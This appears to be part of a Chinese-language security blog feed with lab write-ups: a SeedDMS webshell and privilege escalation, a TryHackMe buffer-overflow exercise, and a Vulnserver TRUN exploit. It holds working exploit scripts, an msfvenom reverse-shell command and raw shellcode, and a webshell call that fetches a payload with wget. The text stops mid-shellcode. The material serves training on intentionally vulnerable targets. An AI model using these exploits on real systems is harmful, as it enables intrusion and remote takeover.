&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/626fa-iyjvDSu.png"&gt;應該是 md5哈希貓爆破- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/30a72-I5MAAw3.png"&gt;&lt;/li&gt;
&lt;li&gt;爆不出來QQ自己創一個使用者 &lt;code&gt;mysql INSERT INTO tblUsers (id,login,pwd,fullName,email,role,language,theme,comment) VALUES (3,&amp;quot;meow&amp;quot;,&amp;quot;4a4be40c96ac6314e91d93f38043a634&amp;quot;,&amp;quot;Meow&amp;quot;,&amp;quot;meow@meow.meow&amp;quot;,1,&amp;quot;en_US&amp;quot;,0,0);&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/34911-vF0oItn.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/71831-ahHqKQA.png"&gt;可以登入，但畫面是白的 QQ改使用者密碼- 原本是 &lt;code&gt;f9ef2c539bad8a6d2f3432b6d49ab51a&lt;/code&gt;先存著備用，怕以後要用到&lt;code&gt;update tblUsers set pwd='4a4be40c96ac6314e91d93f38043a634' where id=1;&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6297e-PAzpNXC.png"&gt;&lt;/li&gt;
&lt;li&gt;就登入成功ㄌ上傳 webshell因為 &lt;code&gt;seeddms51x&lt;/code&gt; 目錄沒有鎖權限- 根據觀察，檔案會存在 &lt;code&gt;http://192.168.1.111/seeddms51x/data/1048576/{檔案ID}/1.{檔案附檔名}&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/893e4-8K0Y0IX.png"&gt;載 Reverse shell- http://192.168.1.111/seeddms51x/data/1048576/4/1.php?A=wget%20192.168.1.109:8000/s_l接上 Reverse shell- 使用交互式&lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;切換使用者- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/68782-sU18oMU.png"&gt;&lt;/li&gt;
&lt;li&gt;使用當初 DB 看到的密碼提權- &lt;code&gt;sudo -l&lt;/code&gt; 發現可以直接成為 root&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/24681-Q9bgJGa.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Buffer Overflow Prep OVERFLOW1</title><link>http://blog.stevenyu.tw/2021/08/27/buffer-overflow-prep-overflow1/</link><pubDate>Fri, 27 Aug 2021 23:39:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/27/buffer-overflow-prep-overflow1/</guid><description>&lt;p&gt;&lt;a href="https://tryhackme.com/room/bufferoverflowprep"&gt;https://tryhackme.com/room/bufferoverflowprep&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Immunity debugger 快捷鍵Ctrl + F2 重開&lt;/li&gt;
&lt;li&gt;F9 開始&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="觀察"&gt;觀察&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nc 上去，決定這次的目標是 &lt;code&gt;OVERFLOW1&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3a9af-qnTQ0Rn.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="fuzz"&gt;Fuzz&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;準備 &lt;code&gt;Overflow1.spk&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_readline();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_string(&lt;span style="color:#f1fa8c"&gt;&amp;#34;OVERFLOW1 &amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_string_variable(&lt;span style="color:#f1fa8c"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;執行 &lt;code&gt;generic_send_tcp 192.168.1.102 1337 Overflow1.spk 0 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run 下去他就爛ㄌ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8dfcb-89HNTl2.png"&gt;&lt;/li&gt;
&lt;li&gt;可以觀察到 EIP 變成 41414141&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f1adf-xpGvUrG.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cyclic-找-offset"&gt;Cyclic 找 Offset&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;from&lt;/span&gt; pwn &lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; remote(&lt;span style="color:#f1fa8c"&gt;&amp;#34;192.168.1.102&amp;#34;&lt;/span&gt;,&lt;span style="color:#bd93f9"&gt;1337&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;perfix &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;OVERFLOW1 &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cy &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; cyclic()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; perfix &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; cy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;sendline(payload)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;這題因為長度OK所以可以這樣做正常解法建議先 &lt;code&gt;b'a'*1000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;先 try 到 offset 蓋到 EIP 變成 &lt;code&gt;0x616161&lt;/code&gt;1000 , 5000 之類的亂猜&lt;/li&gt;
&lt;li&gt;因為有時候蓋太多他也會爛到 EIP 不變 QQ之後 &lt;code&gt;cyclic(長度)&lt;/code&gt;，就可以產出指定的長度觀察 EIP 變成 &lt;code&gt;61757461&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/674f1-1BTGO9u.png"&gt;&lt;code&gt;pwn cyclic -l 0x61757461&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ddac4-hjLOr0q.png"&gt;&lt;/li&gt;
&lt;li&gt;Offset 為 1978重新測試&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;from&lt;/span&gt; pwn &lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; remote(&lt;span style="color:#f1fa8c"&gt;&amp;#34;192.168.1.102&amp;#34;&lt;/span&gt;,&lt;span style="color:#bd93f9"&gt;1337&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;perfix &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;OVERFLOW1 &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;padding &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;a&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;1978&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; perfix &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; padding &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;bbbb&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;sendline(payload)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b4dc8-JrLxWEq.png"&gt;&lt;/p&gt;</description></item><item><title>Vulnserver (TRUN) Windows Overflow</title><link>http://blog.stevenyu.tw/2021/08/25/vulnserver-trun-windows-overflow/</link><pubDate>Wed, 25 Aug 2021 23:36:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/25/vulnserver-trun-windows-overflow/</guid><description>&lt;h2 id="事前準備"&gt;事前準備&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Vulnserverhttps://github.com/stephenbradshaw/vulnserver&lt;/li&gt;
&lt;li&gt;這邊我的環境是開在 &lt;code&gt;Microsoft Windows 10 專業版 10.0.19042&lt;/code&gt; (沒有用 VM)&lt;/li&gt;
&lt;li&gt;關閉 Windows DefenderImmunity Debugger- 安裝 Moma 的 Script把 &lt;code&gt;moma.py&lt;/code&gt; 直接丟進 &lt;code&gt;C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands&lt;/code&gt; 即可Kali- 安裝 pwntools&lt;/li&gt;
&lt;li&gt;其他都有內建&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="簡介指令"&gt;簡介指令&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;cyclicpwntools 功能 (我覺得用起來比較順手)&lt;code&gt;pwn cyclic&lt;/code&gt;或是在 python 裡面的 &lt;code&gt;pwn.cyclic()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以產出 cyclic 字串&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/394c3-OzecgUw.png"&gt;&lt;code&gt;pwn cyclic -l {Pattern in hex}&lt;/code&gt;- 隨便取 4 個值，都能知道他 offset 第幾格&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d842b-ILy486S.png"&gt;msf 功能- &lt;code&gt;/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l {length}&lt;/code&gt;產出長度為 length 的字串&lt;code&gt;/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l {length} -q {pattern}&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36dfa-8MlUt3J.png"&gt;Fuzz 腳本- &lt;code&gt;generic_send_tcp {IP} {Port} {腳本.spk} 0 0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_readline();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_string(&lt;span style="color:#f1fa8c"&gt;&amp;#34;{command}&amp;#34;&lt;/span&gt;); &lt;span style="color:#ff79c6"&gt;//&lt;/span&gt; 開頭要輸入的東西
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_string_variable(&lt;span style="color:#f1fa8c"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="觀察"&gt;觀察&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;第一步，nc 上去觀察&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bb111-N3hbhOM.png"&gt;這次要打ㄉ洞是 TRUN- 基本指令是 &lt;code&gt;TRUN {something}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f36d7-hx8bRe7.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="fuzz"&gt;Fuzz&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;所以寫 TRUN 的 generic_send_tcp 的 Script &lt;code&gt;trun1.spk&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_readline();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_string(&lt;span style="color:#f1fa8c"&gt;&amp;#34;TRUN &amp;#34;&lt;/span&gt;); &lt;span style="color:#ff79c6"&gt;//&lt;/span&gt; 開頭要輸入的東西
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s_string_variable(&lt;span style="color:#f1fa8c"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;執行&lt;code&gt;generic_send_tcp 192.168.1.102 9999 trun1.spk 0 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/506a5-KOACrib.png"&gt;Run 下去隔了幾秒鐘， Debugger 就跳卡住了- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/276b8-FlAKrgn.png"&gt;&lt;/li&gt;
&lt;li&gt;下面有寫是 &lt;code&gt;0x41414141&lt;/code&gt; 位子錯誤&lt;/li&gt;
&lt;li&gt;然後可以發現 &lt;code&gt;EIP&lt;/code&gt; 也被變成了 &lt;code&gt;0x41414141&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x41&lt;/code&gt; 是 &lt;code&gt;A&lt;/code&gt;觀察 EAX- 發現 Command 的開頭是 &lt;code&gt;TRUN /.:/AAA....&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;只是我們不知道 Fuzz 有戳幾個 &lt;code&gt;A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但確定他的開頭是 &lt;code&gt;TRUN /.:/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cyclic-找-offset"&gt;Cyclic 找 Offset&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;用 cyclic 找 offset &lt;code&gt;from pwn import * r = remote(&amp;quot;192.168.1.102&amp;quot;,9999) command = b&amp;quot;TRUN /.:/&amp;quot; cyclic_code = cyclic() payload = command + cyclic_code r.sendline(payload)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;觀察 EIP&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d7714-nOxDvWA.png"&gt;&lt;/li&gt;
&lt;li&gt;值為 0x61616275輸入 &lt;code&gt;pwn cyclic -l 0x61616275&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c98d-QnQ0l5m.png"&gt;&lt;/li&gt;
&lt;li&gt;就能知道 offset 是 &lt;code&gt;2003&lt;/code&gt;測試 Offset 是否正確- 這邊用 &lt;code&gt;0xdeadbeef&lt;/code&gt; 進行測試&lt;code&gt;from pwn import * r = remote(&amp;quot;192.168.1.102&amp;quot;,9999) command = b&amp;quot;TRUN /.:/&amp;quot; padding = b'a'*2003 meow = p32(0xdeadbeef) payload = command + padding + meow r.sendline(payload)&lt;/code&gt;- 發現可以成功蓋到 EIP 了&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ad32f-6eLQLUz.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="觀察蓋完-eip-後"&gt;觀察蓋完 EIP 後&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察蓋完 EIP 後的東東 &lt;code&gt;from pwn import * r = remote(&amp;quot;192.168.1.102&amp;quot;,9999) command = b&amp;quot;TRUN /.:/&amp;quot; padding = b'a'*2003 new_eip = p32(0xdeadbeef) padding2 = cyclic() payload = command + padding + new_eip + padding2 r.sendline(payload)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;一樣用 cyclic&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/66490-tJc4O2t.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現 ESP 指向 &lt;code&gt;aaaa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;也就是 &lt;code&gt;0x61616161&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3bccc-aVw8GwN.png"&gt;&lt;/li&gt;
&lt;li&gt;就是說，我們的 address 後面直接接的東西會被 EIP 所指到&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="找-shell-code-跳躍點"&gt;找 Shell Code 跳躍點&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理論上我們在目前寫的後面 shell_code並且把 new_eip 設定為 &lt;code&gt;jmp ESP&lt;/code&gt; 即可在 immunity debugger 下面輸入- &lt;code&gt;!mona jmp -r esp&lt;/code&gt; 可以找到 &lt;code&gt;jmp ESP&lt;/code&gt; 的指令&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e8f7c-dgL01fP.png"&gt;&lt;/li&gt;
&lt;li&gt;第一個在 &lt;code&gt;0x625011af&lt;/code&gt;所以我們把 EIP 蓋成這個，他接下來就會跳去 EIP 指到的 Memory- 並且執行我們的 Shell Code&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="生-reverse-shell"&gt;生 Reverse shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;接著要想辦法生成 reverse shell 的 shell code&lt;/li&gt;
&lt;li&gt;這邊可以直接用 &lt;code&gt;msfvenom&lt;/code&gt; 處理&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.106 LPORT=7877 EXITFUNC=thread -f c -a x86 -b &amp;quot;\x00&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eb497-Ebkz3zb.png"&gt;整理一下貼到 Python再在前面增加幾個 nop (0x90)做 padding- 避免直接跳出現一些問題&lt;/li&gt;
&lt;li&gt;Padding 長度以 32bit 的倍數為原則&lt;/li&gt;
&lt;li&gt;&lt;code&gt;padding2 = p32(0x90909090) * 10&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="完整-exploit"&gt;完整 Exploit&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from pwn import &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; remote(&lt;span style="color:#f1fa8c"&gt;&amp;#34;192.168.1.102&amp;#34;&lt;/span&gt;,&lt;span style="color:#bd93f9"&gt;9999&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;command &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;TRUN /.:/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;padding &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;2003&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_eip &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; p32(&lt;span style="color:#bd93f9"&gt;0x625011af&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;padding2 &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; p32(&lt;span style="color:#bd93f9"&gt;0x90909090&lt;/span&gt;) &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shellcode &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; (&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xbe\xb0\x17\xe4\xba\xda\xcc\xd9\x74\x24\xf4\x58\x33\xc9\xb1&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x52\x31\x70\x12\x03\x70\x12\x83\x70\x13\x06\x4f\x8c\xf4\x44&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xb0\x6c\x05\x29\x38\x89\x34\x69\x5e\xda\x67\x59\x14\x8e\x8b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x12\x78\x3a\x1f\x56\x55\x4d\xa8\xdd\x83\x60\x29\x4d\xf7\xe3&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xa9\x8c\x24\xc3\x90\x5e\x39\x02\xd4\x83\xb0\x56\x8d\xc8\x67&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x46\xba\x85\xbb\xed\xf0\x08\xbc\x12\x40\x2a\xed\x85\xda\x75&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x2d\x24\x0e\x0e\x64\x3e\x53\x2b\x3e\xb5\xa7\xc7\xc1\x1f\xf6&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x28\x6d\x5e\x36\xdb\x6f\xa7\xf1\x04\x1a\xd1\x01\xb8\x1d\x26&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x7b\x66\xab\xbc\xdb\xed\x0b\x18\xdd\x22\xcd\xeb\xd1\x8f\x99&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xb3\xf5\x0e\x4d\xc8\x02\x9a\x70\x1e\x83\xd8\x56\xba\xcf\xbb&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xf7\x9b\xb5\x6a\x07\xfb\x15\xd2\xad\x70\xbb\x07\xdc\xdb\xd4&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xe4\xed\xe3\x24\x63\x65\x90\x16\x2c\xdd\x3e\x1b\xa5\xfb\xb9&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
